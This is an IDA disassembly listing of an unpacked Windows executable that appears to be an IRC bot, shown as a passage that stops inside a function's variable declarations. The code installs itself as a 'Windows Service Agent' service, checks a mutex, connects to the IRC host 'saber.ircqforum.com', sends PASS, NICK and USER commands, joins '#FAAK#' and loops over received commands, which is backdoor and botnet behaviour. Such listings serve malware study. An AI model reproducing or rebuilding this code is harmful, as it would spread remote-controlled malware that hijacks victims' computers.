;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8919E6FC1EABCEF2176F19C7907576D0

; File Name   :	u:\work\8919e6fc1eabcef2176f19c7907576d0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DB000 ( 897024.)
; Section size in file		: 000DB000 ( 897024.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401576p
					; sub_418857+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4C92B8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B960
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9328
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9268


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4C92E0
		add	edi, 8
		cmp	edi, offset dword_429068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:0041699Ep

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BC9B
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BC88
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BB48
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BA60
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA31
		push	edi
		call	sub_41B9DB
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43C24C
		call	dword_4C939C
		call	sub_40B576
		call	dword_4C925C
		call	dword_4C925C
		mov	ebx, dword_427088
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B4B8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 26709B5h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 26607E0h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43B4B0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418B82
		pop	ecx
		mov	dword_4C9040, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4C9044, eax
		call	esi
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_4098FD
		push	2
		call	dword_4C93B0
		push	7530h
		push	offset a1221	; "1221"
		push	ebx
		push	ebx
		nop
		call	near ptr 26901D3h
		push	eax
		nop
		call	near ptr 2690180h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4C9274
		cmp	eax, ebx
		jnz	loc_4017DE
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017D8
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017D8
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26709B5h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C151
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C080
		add	esp, 30h
		test	eax, eax
		jnz	loc_401513
		cmp	dword_4C91B0, ebx
		mov	esi, offset byte_429108
		jz	short loc_401399
		push	esi
		xor	edi, edi
		call	sub_41B960
		sub	eax, 4
		pop	ecx
		jz	short loc_401399


loc_401376:				; CODE XREF: ___:00401397j
		call	sub_41C062
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B960
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401376


loc_401399:				; CODE XREF: ___:00401366j
					; ___:00401374j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680DCEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D9
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2680CAEh
		nop


loc_4013D9:				; CODE XREF: ___:004013C5j
		mov	esi, dword_4270A0
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F0:				; CODE XREF: ___:00401427j
		call	esi
		test	eax, eax
		jnz	short loc_401429
		nop
		call	near ptr 26807F9h
		cmp	edi, ebx
		jnz	short loc_401429
		cmp	eax, 20h
		jz	short loc_40140A
		cmp	eax, 5
		jnz	short loc_401429


loc_40140A:				; CODE XREF: ___:00401403j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670EE1h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F0
; ---------------------------------------------------------------------------


loc_401429:				; CODE XREF: ___:004013F4j
					; ___:004013FEj ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418791
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2680CAEh
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43B4B8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26807A0h
		push	eax
		push	esi
		push	100000h
		call	near ptr 268029Ah
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26607E0h
		nop
		test	eax, eax
		jz	short loc_401513
		push	0C8h
		nop
		call	near ptr 2670EE1h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427078
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4C925C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401513:				; CODE XREF: ___:00401355j
					; ___:004014E9j
		cmp	dword_4D9730, 2
		jle	short loc_40155F
		mov	eax, dword_4D9734
		push	dword ptr [eax+4]
		call	sub_41BEF9
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2690180h
		push	esi
		nop
		call	near ptr 266053Bh
		mov	eax, dword_4D9734
		cmp	[eax+8], ebx
		jz	short loc_40155F
		push	7D0h
		nop
		call	near ptr 2670EE1h
		mov	eax, dword_4D9734
		push	dword ptr [eax+8]
		nop
		call	near ptr 26801DBh


loc_40155F:				; CODE XREF: ___:0040151Aj
					; ___:00401544j
		cmp	dword_42908C, ebx
		jz	short loc_40157C
		cmp	dword_4C93D4, ebx
		jnz	short loc_40157C
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157C:				; CODE XREF: ___:00401565j
					; ___:0040156Dj
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3AD
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		push	0B80h
		push	ebx
		push	offset dword_43B4C0
		call	sub_41BD10
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3AD
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_42708C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset word_419EEE
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	short loc_40161C
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40161C:				; CODE XREF: ___:004015FFj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		push	2
		call	sub_40B5F5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A1
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BBE
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	short loc_401694
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_401694:				; CODE XREF: ___:00401677j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_4016A1:				; CODE XREF: ___:00401633j
		call	sub_41C062
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4C904C
		mov	dword_4C91B8, eax
		call	sub_41BD70
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4C90CC
		push	offset dword_4290D4
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		mov	esi, offset dword_4C910C
		push	offset dword_4290DC
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	dword_4C91A0, ebx


loc_4016F6:				; CODE XREF: ___:0040177Ej
					; ___:00401789j ...
		mov	[ebp-4], ebx


loc_4016F9:				; CODE XREF: ___:00401732j
		push	offset dword_4C9048
		mov	dword_4C91B4, ebx
		call	sub_4017E7
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D3
		cmp	dword_4C91B4, ebx
		jz	short loc_401720
		dec	dword ptr [ebp-4]


loc_401720:				; CODE XREF: ___:0040171Bj
		push	0BB8h
		nop
		call	near ptr 2670EE1h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016F9
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D3
		cmp	[ebp-0Ch], ebx
		jz	short loc_401783
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4C904C
		call	sub_41BD70
		mov	eax, dword_42906C
		push	3Fh
		push	offset dword_4290D4
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		push	offset dword_4290DC
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_401783:				; CODE XREF: ___:00401741j
		cmp	byte_4290E4, bl
		jz	loc_4016F6
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4C904C
		call	sub_41BD70
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4C919C, eax
		call	sub_41BD70
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BD70
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_4017D3:				; CODE XREF: ___:0040170Fj
					; ___:00401738j
		call	sub_40B576


loc_4017D8:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4C925C


loc_4017DE:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017E7	proc near		; CODE XREF: ___:00401704p
					; DATA XREF: sub_401AC7+658Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40180C:				; CODE XREF: sub_4017E7+E6j
					; sub_4017E7+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4C9304
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8E4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401939
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD10
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_42909C
		push	dword_429098
		push	eax
		call	sub_40AE77
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43C258
		push	edi
		push	eax
		call	sub_41BD70
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43C24C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D2
		push	esi
		call	dword_4C939C
		call	sub_40A90D
		push	7D0h


loc_4018C7:				; CODE XREF: sub_4017E7+146j
		call	near ptr 2670EE1h
		nop
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_4018D2:				; CODE XREF: sub_4017E7+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415D62
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40194F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4C939C
		test	edi, edi
		jz	loc_40180C
		cmp	edi, 1
		jnz	short loc_40192F
		push	0DBBA0h
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------


loc_40192F:				; CODE XREF: sub_4017E7+13Fj
		cmp	edi, 2
		jz	short loc_40193D
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_4017E7+5Aj
		xor	eax, eax
		jmp	short loc_401949
; ---------------------------------------------------------------------------


loc_40193D:				; CODE XREF: sub_4017E7+14Bj
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	2
		pop	eax


loc_401949:				; CODE XREF: sub_4017E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40194F	proc near		; CODE XREF: sub_4017E7+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C2A0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_40196D:				; CODE XREF: sub_40194F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40196D
		cmp	byte_4290D0, bl
		jz	short loc_401994
		push	offset byte_4290D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40981C
		add	esp, 0Ch


loc_401994:				; CODE XREF: sub_40194F+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019FE
		push	[ebp+arg_0]
		call	dword_4C939C
		push	1388h
		call	near ptr 2670EE1h
		nop


loc_4019F7:				; CODE XREF: sub_40194F+D9j
					; sub_40194F+153j
		xor	eax, eax


loc_4019F9:				; CODE XREF: sub_40194F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019FE:				; CODE XREF: sub_40194F+92j
					; sub_40194F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		test	eax, eax
		jle	short loc_4019F7
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_41847D
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019FE
		lea	edi, [ebp+var_A90]


loc_401A4F:				; CODE XREF: sub_40194F+165j
		push	1
		pop	esi


loc_401A52:				; CODE XREF: sub_40194F+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A95
		push	7D0h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_401A52
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_40194F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401ABF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401ABB
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019F7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A4F
		jmp	loc_4019FE
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_40194F+14Ej
		push	1
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------


loc_401ABF:				; CODE XREF: sub_40194F+149j
		push	2


loc_401AC1:				; CODE XREF: sub_40194F+16Ej
		pop	eax
		jmp	loc_4019F9
sub_40194F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AC7	proc near		; CODE XREF: sub_40194F+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
